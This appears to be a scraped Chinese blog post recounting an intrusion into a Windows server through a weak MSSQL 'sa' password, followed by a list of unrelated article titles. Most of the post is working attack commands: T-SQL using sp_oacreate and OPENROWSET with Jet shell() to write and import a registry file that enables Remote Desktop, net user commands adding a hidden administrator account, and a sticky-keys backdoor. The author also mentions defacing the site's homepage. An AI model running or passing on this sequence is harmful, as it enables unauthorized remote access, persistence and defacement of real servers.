记一次基于mssql的入侵
来源:互联网 发布:js导出文本格式 编辑:程序博客网 时间:2024/06/05 21:00
通过扫描发现目标机器mssql的sa存在弱口令;
上xp_cmdshell,没有结果;
上xp_dirtree看目录结构,定位web目录,修改主页;
难道就到此了吗?不,继续;
发现3389端口未开,写注册表文件开通3389
declare @o int, @f int, @t int, @ret intexec sp_oacreate 'scripting.filesystemobject', @o outexec sp_oamethod @o, 'createtextfile', @f out, 'd:\mstsc.reg', 1exec @ret = sp_oamethod @f, 'writeline', NULL,'Windows Registry Editor Version 5.00'exec @ret = sp_oamethod @f, 'writeline', NULL,'[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]'exec @ret = sp_oamethod @f, 'writeline', NULL,'"fDenyTSConnections"=dword:00000000'exec @ret = sp_oamethod @f, 'writeline', NULL,'[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]'exec @ret = sp_oamethod @f, 'writeline', NULL,'"PortNumber"=dword:00000d3d'exec @ret = sp_oamethod @f, 'writeline', NULL,'[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]'exec @ret = sp_oamethod @f, 'writeline', NULL,'"PortNumber"=dword:00000d3d'
沙盒执行mstsc.reg,导入注册表
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("regedit /s d:\mstsc.reg")')
顺便加个用户net user username userpwd /add, 加入管理员组net localgroup administrators username /add;
启动mstsc,尝试登录,看到如下画面:
算了,不登陆了;
使用5个shift漏洞,shift点5下,开始浏览文件
0 0
- 记一次基于mssql的入侵
- 记一次基于mysql的入侵Simple
- 记一次艰苦的入侵
- 记一次艰苦的入侵- -
- 记一次艰苦的入侵
- 记一次前所未有巧妙的Hacking入侵
- 记一次入侵XP系统的经历
- 一次入侵的失败
- 一次详细全面的入侵
- 我的一次入侵分析
- 一次完整的入侵检测
- 一次入侵秀的详细分析
- 一次服务器遭受入侵的攻防
- 一次入侵秀的详细分析
- 一次简单的3389入侵过程
- 一次利用imap漏洞的入侵
- 一次服务器被入侵后的分析
- 一次服务器被入侵后的分析
- Android 6.0 权限问题解决方法
- 专业的工具帮你处理关于需求的那些事
- js sleep 实现等待 setTimeOut
- 5-52 两个有序链表序列的交集 (20分)
- js基础
- 记一次基于mssql的入侵
- 块级元素在块级别元素中居中
- LGPhotoBrowser 网络请求图片 报出This application is modifying the autolayout engine from a background thread
- 关于spark利用jar包跑job的一些总结(二)
- 欢迎使用CSDN-markdown编辑器
- C# 重构之五(移除参数重构)
- ZooKeeper编程(一)
- Effecticve学习笔记_条款46:需要类型转换时请为模板定义非成员函数
- spring自定义注解,防止页面重复提交